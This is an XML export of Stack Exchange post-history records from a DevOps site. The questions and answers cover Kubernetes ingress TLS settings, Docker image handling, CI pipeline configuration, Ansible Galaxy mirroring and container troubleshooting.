  <row Id="43158" PostHistoryTypeId="2" PostId="13703" RevisionGUID="c9564d77-0f3e-41fe-b779-a764144cdc85" CreationDate="2021-04-12T13:00:55.227" UserId="16350" Text="I try to enable TLSv1 and TLSv1.1 for one specific ingress on a AKS cluster.&#xD;&#xA;&#xD;&#xA;By default, only TLSv1.2 is enabled. &#xD;&#xA;&#xD;&#xA;I don't want to apply this configuration on my all cluster, just on a specific webserver service.&#xD;&#xA;&#xD;&#xA;Regarding the documentation, I need to add this annotation if I don't want to change nginx config by ConfigMap : &#xD;&#xA;&#xD;&#xA;`nginx.ingress.kubernetes.io/proxy-ssl-protocols: TLSv1 TLSv1.1 TLSv1.2`&#xD;&#xA;&#xD;&#xA;but this has no effect. &#xD;&#xA;&#xD;&#xA;Is it really possible to do this by annotation ?&#xD;&#xA;&#xD;&#xA;Did I do something wrong ? &#xD;&#xA;&#xD;&#xA;Thank you !&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43159" PostHistoryTypeId="1" PostId="13703" RevisionGUID="c9564d77-0f3e-41fe-b779-a764144cdc85" CreationDate="2021-04-12T13:00:55.227" UserId="16350" Text="Enable TLSv1 TLSv1.1 for specific Ingress with Nginx Ingress" ContentLicense="CC BY-SA 4.0" />
  <row Id="43160" PostHistoryTypeId="3" PostId="13703" RevisionGUID="c9564d77-0f3e-41fe-b779-a764144cdc85" CreationDate="2021-04-12T13:00:55.227" UserId="16350" Text="&lt;kubernetes&gt;&lt;nginx&gt;&lt;ingress&gt;&lt;azure-kubernetes-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43163" PostHistoryTypeId="50" PostId="12006" RevisionGUID="ffa9e258-2393-4f4d-91c5-3543a80df56f" CreationDate="2021-04-12T19:05:45.500" UserId="-1" />
  <row Id="43164" PostHistoryTypeId="4" PostId="13639" RevisionGUID="8180f390-b264-4a5e-8d6b-364f7197e399" CreationDate="2021-04-12T19:08:10.403" UserId="25042" Comment="edited title" Text="Unexpected type error in ansible community.aws.cloudfront_distribution: &quot;origins&quot; parameter: &quot;'list' object has no attribute 'get'&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43165" PostHistoryTypeId="2" PostId="13704" RevisionGUID="510963f7-6a40-48e7-bf1d-6cf3f32291cd" CreationDate="2021-04-13T01:17:14.280" UserId="27132" Text="I am already [downloaded](https://devops.stackexchange.com/questions/2731/downloading-docker-images-from-docker-hub-without-using-docker) docker images by [other tools](https://github.com/NotGlop/docker-drag).&#xD;&#xA; &#xD;&#xA;How to install this images to docker? How to make it visable in `docker images`?&#xD;&#xA;&#xD;&#xA;direct copy it to `/var/lib/docker/overlay2` ?&#xD;&#xA;&#xD;&#xA;dowload file example:&#xD;&#xA;```&#xD;&#xA;&gt; docker_pull.py  node&#xD;&#xA;...&#xD;&#xA;~/docker-drag/tmp_node_latest$ ls&#xD;&#xA;819b8d6a0f6367138cb4eed4abbd3c01b64699001aaba31037584077b26e2b52&#xD;&#xA;8200215dd1e2b384c4444b0bdafaf94044ed4286d7d68c62d32cdcd49b1a8216&#xD;&#xA;93cbc70f645f4787918fb30634da8ea26e65fdae581fcff2510ec1be4ddad8c1&#xD;&#xA;b8b32f5baa9203b12975c49e3f02b7fbefd6caae6df5ab598f9d3bad18c576ac&#xD;&#xA;d2850632b60222a2c2a4848d6482d69e26435be1718c8de1f946d1f597117133.json&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43166" PostHistoryTypeId="1" PostId="13704" RevisionGUID="510963f7-6a40-48e7-bf1d-6cf3f32291cd" CreationDate="2021-04-13T01:17:14.280" UserId="27132" Text="How to install downloaded images to Docker without using Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43167" PostHistoryTypeId="3" PostId="13704" RevisionGUID="510963f7-6a40-48e7-bf1d-6cf3f32291cd" CreationDate="2021-04-13T01:17:14.280" UserId="27132" Text="&lt;docker&gt;&lt;dockerhub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43168" PostHistoryTypeId="5" PostId="13704" RevisionGUID="2f31c46f-7acb-4eec-ad59-c2e383851b9e" CreationDate="2021-04-13T01:26:58.200" UserId="27132" Comment="deleted 26 characters in body; edited title" Text="I am already [downloaded](https://devops.stackexchange.com/questions/2731/downloading-docker-images-from-docker-hub-without-using-docker) docker images by [other tools](https://github.com/NotGlop/docker-drag).&#xD;&#xA; &#xD;&#xA;it is possiable to add one images layer to docker?&#xD;&#xA;&#xD;&#xA;direct copy it to `/var/lib/docker/overlay2` ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;dowload file example:&#xD;&#xA;```&#xD;&#xA;&gt; docker_pull.py  node&#xD;&#xA;...&#xD;&#xA;~/docker-drag/tmp_node_latest$ ls&#xD;&#xA;819b8d6a0f6367138cb4eed4abbd3c01b64699001aaba31037584077b26e2b52&#xD;&#xA;8200215dd1e2b384c4444b0bdafaf94044ed4286d7d68c62d32cdcd49b1a8216&#xD;&#xA;93cbc70f645f4787918fb30634da8ea26e65fdae581fcff2510ec1be4ddad8c1&#xD;&#xA;b8b32f5baa9203b12975c49e3f02b7fbefd6caae6df5ab598f9d3bad18c576ac&#xD;&#xA;d2850632b60222a2c2a4848d6482d69e26435be1718c8de1f946d1f597117133.json&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43169" PostHistoryTypeId="4" PostId="13704" RevisionGUID="2f31c46f-7acb-4eec-ad59-c2e383851b9e" CreationDate="2021-04-13T01:26:58.200" UserId="27132" Comment="deleted 26 characters in body; edited title" Text="How to add one downloaded images layer to Docker without using Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43173" PostHistoryTypeId="2" PostId="13706" RevisionGUID="c42e3dc2-078d-4e44-9c22-eaa857f60906" CreationDate="2021-04-13T06:59:59.463" UserId="27134" Text="Let's say I have a Linux machine with `10 CPUs (1000%)` and a docker container that at its peak consumes `500%` of the CPU and the process takes `10 hours` to complete (let's say it runs most of the time at its peak consumption). It means, that the process runs with no limitations. &#xD;&#xA;&#xD;&#xA;Now I've setup resource restrictions to that container with `--cpus=2.5` so it'll be throttled in some point of time. I was expecting that the process will take about `20 hours` after limitations, but obviously it's not true (it's way more).&#xD;&#xA;&#xD;&#xA;The question is: Why the throttling of the process is not linear? Are there any inefficiencies related to rescheduling the process, because at the beginning docker sees that there is a system with `10 CPUs`? How is it possibly related to CPU registers?  " ContentLicense="CC BY-SA 4.0" />
  <row Id="43174" PostHistoryTypeId="1" PostId="13706" RevisionGUID="c42e3dc2-078d-4e44-9c22-eaa857f60906" CreationDate="2021-04-13T06:59:59.463" UserId="27134" Text="What is the effect of setting up CPU limits on docker containers according to run time of the process" ContentLicense="CC BY-SA 4.0" />
  <row Id="43175" PostHistoryTypeId="3" PostId="13706" RevisionGUID="c42e3dc2-078d-4e44-9c22-eaa857f60906" CreationDate="2021-04-13T06:59:59.463" UserId="27134" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43176" PostHistoryTypeId="2" PostId="13707" RevisionGUID="fd186e64-05f2-458a-9893-3e770ae1e7a6" CreationDate="2021-04-13T07:04:13.773" UserId="27135" Text="I work in a platform team that builds and supports Azure Pipelines YAML templates and various custom scripting for these pipelines. People in my organisation use these YAML templates like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resources:&#xD;&#xA;  repositories:&#xD;&#xA;    - repository: templates&#xD;&#xA;      type: git&#xD;&#xA;      name: PROJECT/cicd_stuff&#xD;&#xA;      ref: refs/heads/releases/v0.21&#xD;&#xA;extends:&#xD;&#xA;  template: our_awesome_template.yml@templates&#xD;&#xA;  parameters:&#xD;&#xA;    ...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;In order to reliably match the version of our scripts to the version of the YAML templates, we now include an extra build stage in our pipeline templates that checks out the repo `templates` repo and puts all our scripts in an artifact to be used in that run. Using &quot;release branches&quot; allows us to safely put out and test new features and fixes to our pipelines: Teams can upgrade their pipeline on their own pace, with older version remaining supported for a while.&#xD;&#xA;&#xD;&#xA;I'd like to start using Azure Artifacts for our script artifacts, but now I'm wondering &quot;how can I determine which version of my scripts I should be downloading from Azure Artifacts?&quot; The information included in the `resources` block would work for me, but I can't seem to access that with an expression or with a predefined variable. The only solution I can currently think of is to use the az pipelines cli. Any thoughts?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43177" PostHistoryTypeId="1" PostId="13707" RevisionGUID="fd186e64-05f2-458a-9893-3e770ae1e7a6" CreationDate="2021-04-13T07:04:13.773" UserId="27135" Text="How to get information about resources in an Azure Pipelines run?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43178" PostHistoryTypeId="3" PostId="13707" RevisionGUID="fd186e64-05f2-458a-9893-3e770ae1e7a6" CreationDate="2021-04-13T07:04:13.773" UserId="27135" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43179" PostHistoryTypeId="50" PostId="12751" RevisionGUID="634f1b43-554d-4654-ab31-7cc437fc507f" CreationDate="2021-04-13T09:01:55.163" UserId="-1" />
  <row Id="43180" PostHistoryTypeId="2" PostId="13708" RevisionGUID="210ce316-0e2f-4f48-a4fa-82f06ef7f589" CreationDate="2021-04-13T09:45:52.147" UserId="27135" Text="If your after the branch name, and your branches don't include &quot;directories&quot; (example: releases/my_release), then `Build.SourceBranchName` will you give you &quot;The last path segment in the ref&quot;. So, if `Build.SourceBranch` is `refs/heads/master`, then Build.SourceBranch will be `master`.&#xD;&#xA;&#xD;&#xA;Your YAML:&#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;    - master&#xD;&#xA;    - staging&#xD;&#xA;...&#xD;&#xA;manifests: |&#xD;&#xA;  $(Pipeline.Workspace)/manifests/azure/${{ variables.Build.SourceBranchName }}/api.yaml&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43183" PostHistoryTypeId="2" PostId="13709" RevisionGUID="f5b1edf7-0b93-44df-9dcb-300631457cec" CreationDate="2021-04-13T09:54:32.503" UserId="27135" Text="I'm not familiar with Invoke-Build, but appearantly it's a part of the InvokeBuild PowerShell module? In that case, you'll have to install the module as part of the script where you're using it. Your YAML should be something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- stage: Build&#xD;&#xA;  jobs:&#xD;&#xA;    - job: Build&#xD;&#xA;      steps:&#xD;&#xA;        - task: PowerShell@2&#xD;&#xA;          inputs:&#xD;&#xA;            targetType: 'inline'&#xD;&#xA;            script: |&#xD;&#xA;              Install-Module InvokeBuild&#xD;&#xA;              Invoke-Build build&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As @Michael Erpenbeck said &quot;the hosted agent starts off as a clean slate&quot;. That is to say that it starts off as a clean slate for each job in your pipeline. I'm not sure what bootstrap.ps1 is supposed to do so I can't really comment on whether that script and your `Invoke-Build` should be run as steps in the same job. But the main point to remember is that any requirements beyond what the standard Azure Pipelines agents offer should be taken care off within each job." ContentLicense="CC BY-SA 4.0" />
  <row Id="43184" PostHistoryTypeId="2" PostId="13710" RevisionGUID="0bb54fc7-27b6-4106-9cde-91eb922dc521" CreationDate="2021-04-13T10:03:55.237" UserId="27135" Text="Your pipeline runs for pull requests not because of the trigger, but because of a build validation policy you've set for one or more target branches (&quot;whenever I create a PR to this branch, start this pipeline&quot;). It's the build validation, as part of a branch's policies: https://docs.microsoft.com/en-us/azure/devops/repos/git/branch-policies?view=azure-devops#build-validation&#xD;&#xA;&#xD;&#xA;You probably didn't specify a path filter in the build validation settings. Here's an example of three different build validations in a single branch policy, all with different path filters:&#xD;&#xA;&#xD;&#xA;[![Build validation with path filters][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/5twU0.png&#xD;&#xA;&#xD;&#xA;In short: The path trigger in your YAML has no effect on how a pipeline is triggered for a PR. The trigger you've specified is one that triggers on commits to the master branch, if the commit includes files in the terraform directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="43185" PostHistoryTypeId="5" PostId="13700" RevisionGUID="71c666c7-da83-4a76-a1b9-2c65e2b38b5a" CreationDate="2021-04-13T12:52:25.003" UserId="-1" Comment="Fixed confusing sentence" Text="Your use case is very simple, so relying on `GIT_STRATEGY=fetch` is probably sufficient and as you said the default behavior. &#xD;&#xA;&#xD;&#xA;You should be cautious using [artifacts](https://docs.gitlab.com/ee/ci/yaml/README.html#artifacts) unnecessarily as they are uploaded to the gitlab server. &#xD;&#xA;&#xD;&#xA;The answer to your question generally depends on a few things, like the size of your repository, network connection, runner executor type, and so on. One option is to configure a cache (in this case at the pipeline level and for the deploy just set the `GIT_STRATEGY=none`:&#xD;&#xA;&#xD;&#xA;    default:&#xD;&#xA;      cache:&#xD;&#xA;        key: &quot;$CI_COMMIT_REF_SLUG&quot;&#xD;&#xA;        paths:&#xD;&#xA;          - deployment.spec.config&#xD;&#xA;    &#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - build something&#xD;&#xA;&#xD;&#xA;    deploy:&#xD;&#xA;      stage: deploy&#xD;&#xA;      variables:&#xD;&#xA;        GIT_STRATEGY: none&#xD;&#xA;      script:&#xD;&#xA;        - push-deployment ./deployment.spec.config&#xD;&#xA;&#xD;&#xA;An added benefit here, depending on your build process, is the possibility of caching your dependencies when running multiple pipelines against the same branch. Note that you can only cache files relative to the project build directory. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43186" PostHistoryTypeId="24" PostId="13700" RevisionGUID="71c666c7-da83-4a76-a1b9-2c65e2b38b5a" CreationDate="2021-04-13T12:52:25.003" Comment="Proposed by 71.192.34.189|ee18dea6-239d-45ac-a31b-c9a3e6688491 approved by 25974 edit id of 1365" ContentLicense="CC BY-SA 4.0" />
  <row Id="43187" PostHistoryTypeId="2" PostId="13711" RevisionGUID="a89486b0-24a3-477d-9830-4c214754453b" CreationDate="2021-04-13T14:38:38.777" UserId="26158" Text="I setup a [GalaxyNG][1] server (which is a [Pulp Project][2] plugin) to act as an Ansible Galaxy repository on an isolated network.&#xD;&#xA;&#xD;&#xA;The server will periodically have internet access to sync with it's upstream repos, foremost of which will be [galaxy.ansible.com][3].&#xD;&#xA;&#xD;&#xA;Preferably I'd like to have GalaxyNG either&#xD;&#xA;1) contain a complete clone of galaxy.ansible.com and other Ansible Galaxy repo's and be able to resync those clones quarterly, or&#xD;&#xA;2) act as a remote pull through repo such that when a client reaches out to GalaxyNG asking for a package it doesn't contain it will download that package from the remote repo, cache it, and provide it to the client assuming the GalaxyNG server has internet access at that time.&#xD;&#xA;&#xD;&#xA;Currently GalaxyNG appears to require I to provide a requirements.yml file listing all of the collections I'd like to sync from a remote repository. I'm unsure of a way to generate/acquire a requirements.yml file sufficiently large/general to cover most scripts I might write without knowing what sort of scripts I may need in the future. If this is possible, it's a potential solution for me as well.&#xD;&#xA;&#xD;&#xA;I'm also open to other solutions that don't involve GalaxyNG. [RedHat Ansible Automation Platform][4] is a possibility though if avoidable I'd rather not setup another product/server. However, it [appears to suffer][5] from the same restriction I'm seeing with GalaxyNG.&#xD;&#xA;&#xD;&#xA;Artifactory would be the ideal product as I already have a mature instance setup and it generally supports the kind of remote pull-through functionality I'm looking for, however, it [doesn't support Ansible Galaxy repos][6] at the time of this writing.&#xD;&#xA;&#xD;&#xA;Thanks ahead of time for any suggestions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/galaxy_ng&#xD;&#xA;  [2]: https://pulpproject.org/&#xD;&#xA;  [3]: https://galaxy.ansible.com&#xD;&#xA;  [4]: https://access.redhat.com/documentation/en-us/red_hat_ansible_automation_platform/1.2/&#xD;&#xA;  [5]: https://access.redhat.com/documentation/en-us/red_hat_ansible_automation_platform/1.0/html/managing_red_hat_certified_and_ansible_galaxy_collections_in_automation_hub/assembly-creating-tokens-in-automation-hub#proc-set-community-remote&#xD;&#xA;  [6]: https://www.jfrog.com/jira/browse/RTFACT-12695" ContentLicense="CC BY-SA 4.0" />
  <row Id="43188" PostHistoryTypeId="1" PostId="13711" RevisionGUID="a89486b0-24a3-477d-9830-4c214754453b" CreationDate="2021-04-13T14:38:38.777" UserId="26158" Text="How to clone or remote pull-through galaxy.ansible.com with GalaxyNG" ContentLicense="CC BY-SA 4.0" />
  <row Id="43189" PostHistoryTypeId="3" PostId="13711" RevisionGUID="a89486b0-24a3-477d-9830-4c214754453b" CreationDate="2021-04-13T14:38:38.777" UserId="26158" Text="&lt;ansible&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43190" PostHistoryTypeId="2" PostId="13712" RevisionGUID="a0127b3c-56ad-4e70-b6da-2427c4d20106" CreationDate="2021-04-13T21:45:46.980" UserId="27150" Text="I've come across the following problem where my minikube cluster doesn't start and the command line becomes stagnant in the following way:&#xD;&#xA;&#xD;&#xA;    $ minikube start&#xD;&#xA;    �  minikube v1.17.1 on Ubuntu 20.04&#xD;&#xA;    �  Kubernetes 1.20.2 is now available. If you would like to upgrade, specify: --kubernetes-version=v1.20.2&#xD;&#xA;    ✨  Using the docker driver based on existing profile&#xD;&#xA;    �  Starting control plane node minikube in cluster minikube&#xD;&#xA;    �  Restarting existing docker container for &quot;minikube&quot; ...&#xD;&#xA;This all started after running `minikube stop` and then `minikube start` again after troubleshooting a [kube-prometheus-stack](https://github.com/prometheus-community/helm-charts/tree/main/charts/kube-prometheus-stack) helm release's pods not running. I've tried restarting my Docker daemon, rebooting my computer, searching online of course, and do see the minikube docker container created just after running `minikube start` despite the &quot;StartHost failed&quot; error and being stuck on updating the running docker container. I am not connected to a VPN, though I use one often.&#xD;&#xA;&#xD;&#xA;Any help would be appreciated. Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43191" PostHistoryTypeId="1" PostId="13712" RevisionGUID="a0127b3c-56ad-4e70-b6da-2427c4d20106" CreationDate="2021-04-13T21:45:46.980" UserId="27150" Text="Minikube for Ubuntu 20.04 WSL stuck on 'Restarting existing docker container for &quot;minikube&quot; ...' after minikube start and 'StartHost failed' error" ContentLicense="CC BY-SA 4.0" />
  <row Id="43192" PostHistoryTypeId="3" PostId="13712" RevisionGUID="a0127b3c-56ad-4e70-b6da-2427c4d20106" CreationDate="2021-04-13T21:45:46.980" UserId="27150" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;minikube&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43193" PostHistoryTypeId="2" PostId="13713" RevisionGUID="6b2f771f-b5d7-4235-922a-30b5d213e606" CreationDate="2021-04-14T00:52:44.107" UserId="11100" Text="We have been using [elastic/helm-charts][1] for more than a year for our product, and it is easy to manage and scale on-demand. Let me know if you need any help in deploying the helm chart.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/elastic/helm-charts" ContentLicense="CC BY-SA 4.0" />
  <row Id="43194" PostHistoryTypeId="2" PostId="13714" RevisionGUID="d3b5aac6-2f46-4edf-90b6-b2b208fb1176" CreationDate="2021-04-14T00:56:36.123" UserId="11100" Text="I had to enable both DNS Hostname and DNS resolution under the AWS VPC settings.&#xD;&#xA;&#xD;&#xA;Sorry for answering late." ContentLicense="CC BY-SA 4.0" />
  <row Id="43196" PostHistoryTypeId="2" PostId="13715" RevisionGUID="ab1c7c7a-5f23-4e70-bc4f-cb2a2d6cc385" CreationDate="2021-04-14T04:05:09.523" UserId="4090" Text="Environment approvals work per-stage. Split your jobs into separate stages:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;stages:&#xD;&#xA;  - stage: development&#xD;&#xA;    condition: contains(variables['Build.SourceBranch'], 'refs/heads/develop')&#xD;&#xA;    jobs:&#xD;&#xA;    - deployment: Deploy_Dev&#xD;&#xA;      displayName: 'Deploy Develop to Dev Machine'&#xD;&#xA;      pool:&#xD;&#xA;        name: Development&#xD;&#xA;      environment: 'development'&#xD;&#xA;      strategy:&#xD;&#xA;        runOnce:&#xD;&#xA;          deploy:&#xD;&#xA;            steps:&#xD;&#xA;              - checkout: none&#xD;&#xA;              - task: Bash@3&#xD;&#xA;                inputs:&#xD;&#xA;                  targetType: 'inline'&#xD;&#xA;                  script: |&#xD;&#xA;                    echo $(hostname)&#xD;&#xA;                  workingDirectory: '/var/www'&#xD;&#xA;                  noProfile: false&#xD;&#xA;                  noRc: false&#xD;&#xA;&#xD;&#xA;  - stage: production&#xD;&#xA;    condition: contains(variables['Build.SourceBranch'], 'refs/heads/master')&#xD;&#xA;    jobs:&#xD;&#xA;    - deployment: Deploy_Master_to_Hotfix&#xD;&#xA;      displayName: 'Deploy Master to Hotfix Machine'&#xD;&#xA;      pool:&#xD;&#xA;        name: Hotfix&#xD;&#xA;      environment: 'production'&#xD;&#xA;      strategy:&#xD;&#xA;        runOnce:&#xD;&#xA;          deploy:&#xD;&#xA;            steps:&#xD;&#xA;              - checkout: none&#xD;&#xA;              - task: Bash@3&#xD;&#xA;                inputs:&#xD;&#xA;                  targetType: 'inline'&#xD;&#xA;                  script: |&#xD;&#xA;                      echo $(hostname)         &#xD;&#xA;                  workingDirectory: '/var/www'&#xD;&#xA;                  noProfile: false&#xD;&#xA;                  noRc: false&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43197" PostHistoryTypeId="2" PostId="13716" RevisionGUID="ae2ea92e-0dbe-4da1-b61c-d97dd33744e8" CreationDate="2021-04-14T09:32:42.960" UserId="26843" Text="It's a pretty general question, I will try to answer the best I can: &#xD;&#xA;If you want to just build and run an image:&#xD;&#xA;Build the project: npx expo-cli init react_native_app --npm&#xD;&#xA;1. You need to create a Dockerfile file in your repository&#xD;&#xA;2. Docker build -t {tag_name} . (You can replace '.' eith the Dockerfile path)&#xD;&#xA;3. Docker run...&#xD;&#xA;4. If you want you can create docker compose file to better control your app.&#xD;&#xA;Reference: &#xD;&#xA;https://www.rockyourcode.com/how-to-run-react-native-expo-web-in-a-docker-container/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43198" PostHistoryTypeId="2" PostId="13717" RevisionGUID="b32afe7f-ebfa-4bac-bda2-82b57739c8ad" CreationDate="2021-04-14T09:37:01.553" UserId="26843" Text="Try finding this file: C:\Program Files (x86)\Jenkins\secrets\initialAdminPassword" ContentLicense="CC BY-SA 4.0" />
  <row Id="43199" PostHistoryTypeId="2" PostId="13718" RevisionGUID="cc20dcce-3b9f-4689-ba91-0027eaecbebd" CreationDate="2021-04-14T09:47:19.997" UserId="27155" Text="I trying to run multiple instances of phpmyadmin and MySQL. So I have actually 2 docker-compose.yml files, which contains this&#xD;&#xA;&#xD;&#xA;      database:&#xD;&#xA;        container_name: boilerplate_db&#xD;&#xA;        restart: always&#xD;&#xA;        build:&#xD;&#xA;          context: ./docker/database&#xD;&#xA;        environment:&#xD;&#xA;          - MYSQL_DATABASE=${DB_NAME}&#xD;&#xA;          - MYSQL_USER=${DB_USER}&#xD;&#xA;          - MYSQL_PASSWORD=${DB_PWD}&#xD;&#xA;          - MYSQL_ROOT_PASSWORD=${DB_PWD_ROOT}&#xD;&#xA;        volumes:&#xD;&#xA;          - ./docker/database/data.sql:/docker-entrypoint-initdb.d/data.sql&#xD;&#xA;    &#xD;&#xA;      phpmyadmin:&#xD;&#xA;        container_name: boilerplate_phpmyadmin&#xD;&#xA;        image: phpmyadmin/phpmyadmin&#xD;&#xA;        restart: always&#xD;&#xA;        ports:&#xD;&#xA;          - 8089:80&#xD;&#xA;        environment:&#xD;&#xA;          - PMA_HOST=database&#xD;&#xA;          - MYSQL_USER=${DB_USER}&#xD;&#xA;          - MYSQL_PASSWORD=${DB_PWD}&#xD;&#xA;          - MYSQL_ROOT_PASSWORD=${DB_PWD_ROOT}&#xD;&#xA;        depends_on:&#xD;&#xA;          - database&#xD;&#xA;&#xD;&#xA;this is the Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM mariadb:latest&#xD;&#xA;    &#xD;&#xA;    CMD [&quot;mysqld&quot;]&#xD;&#xA;&#xD;&#xA;    EXPOSE 3306&#xD;&#xA;&#xD;&#xA;Inside each folder I have different .env variables. In the first folder I've executed: docker-compose up —build -d and everything has worked, I can correctly access to the database using phpmyadmin.&#xD;&#xA;&#xD;&#xA;So I did the same to second docker-compose.yml but for some reason I get this error:&#xD;&#xA;&#xD;&#xA;&gt;(HY000/1045): Access denied&#xD;&#xA;&#xD;&#xA;which is weird.&#xD;&#xA;&#xD;&#xA;The only different between the two phpmyadmin is the port, the first one run on the port 8088 and the second on 8089. What I did wrong?&#xD;&#xA;&#xD;&#xA;NB: This happen only on the second phpmyadmin container which runs over the 8089 port. Seems like a conflict?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43200" PostHistoryTypeId="1" PostId="13718" RevisionGUID="cc20dcce-3b9f-4689-ba91-0027eaecbebd" CreationDate="2021-04-14T09:47:19.997" UserId="27155" Text="Cannot execute two phpmyadmin instances in different containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="43201" PostHistoryTypeId="3" PostId="13718" RevisionGUID="cc20dcce-3b9f-4689-ba91-0027eaecbebd" CreationDate="2021-04-14T09:47:19.997" UserId="27155" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;mysql&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43202" PostHistoryTypeId="2" PostId="13719" RevisionGUID="afc3cfca-9a67-44bd-b4e8-0452eb50e877" CreationDate="2021-04-14T11:45:23.303" UserId="27156" Text="When using https links for siteurl and home my docker wordpress stops responding (getting connection refused errors).&#xD;&#xA;&#xD;&#xA;Its a known issue (https://github.com/docker-library/wordpress/issues/46) and the image developer suggested using a reverse proxy as the simple solution for this (no details given).&#xD;&#xA;&#xD;&#xA;How can I setup reverse proxy for my wp container? my setup has the wordpress docker container running in wsl2 on a windows 10 host. Should I also create a wsl nginx container? and how should it configure it to redirect the https requests to wp?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43203" PostHistoryTypeId="1" PostId="13719" RevisionGUID="afc3cfca-9a67-44bd-b4e8-0452eb50e877" CreationDate="2021-04-14T11:45:23.303" UserId="27156" Text="ssl on wordpress docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="43204" PostHistoryTypeId="3" PostId="13719" RevisionGUID="afc3cfca-9a67-44bd-b4e8-0452eb50e877" CreationDate="2021-04-14T11:45:23.303" UserId="27156" Text="&lt;docker&gt;&lt;ssl&gt;&lt;proxy&gt;&lt;wordpress&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43205" PostHistoryTypeId="5" PostId="13039" RevisionGUID="ba957a6f-f8c6-4e4f-b286-50a17fac17b3" CreationDate="2021-04-14T12:08:39.837" UserId="24524" Comment="Update the question " Text="The requirement is to access my EKS dashboard without any token. &#xD;&#xA;&#xD;&#xA;I have setup the EKS dashboard and i am able to access it via a web browser now i am trying to access the dashboard without the token required for it. &#xD;&#xA;&#xD;&#xA;Is this possible ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43206" PostHistoryTypeId="24" PostId="13039" RevisionGUID="ba957a6f-f8c6-4e4f-b286-50a17fac17b3" CreationDate="2021-04-14T12:08:39.837" Comment="Proposed by 24524 approved by 40 edit id of 1366" ContentLicense="CC BY-SA 4.0" />
  <row Id="43207" PostHistoryTypeId="10" PostId="13704" RevisionGUID="bf67afb9-2372-41d3-931f-a0ea4a61b092" CreationDate="2021-04-14T12:09:14.230" UserId="40" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13139,&quot;DisplayName&quot;:&quot;Eduardo Baitello&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="43209" PostHistoryTypeId="5" PostId="13686" RevisionGUID="9fb54ff8-4305-4336-a60c-411d52c3ba0b" CreationDate="2021-04-14T12:16:59.687" UserId="707" Comment="added 99 characters in body" Text="&#xD;&#xA;Given there is a [react-native-web solution][1], what needs to be done to build it and run inside a Docker container?&#xD;&#xA;&#xD;&#xA; - What is the build environment/toolchain?&#xD;&#xA; - Which environment is required to run?&#xD;&#xA;&#xD;&#xA;From what I can find so far, it's not clear how this should work.&#xD;&#xA;&#xD;&#xA;UPDATE: [Project examples][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/necolas/react-native-web&#xD;&#xA;  [2]: https://codesandbox.io/examples/package/react-native-web" ContentLicense="CC BY-SA 4.0" />
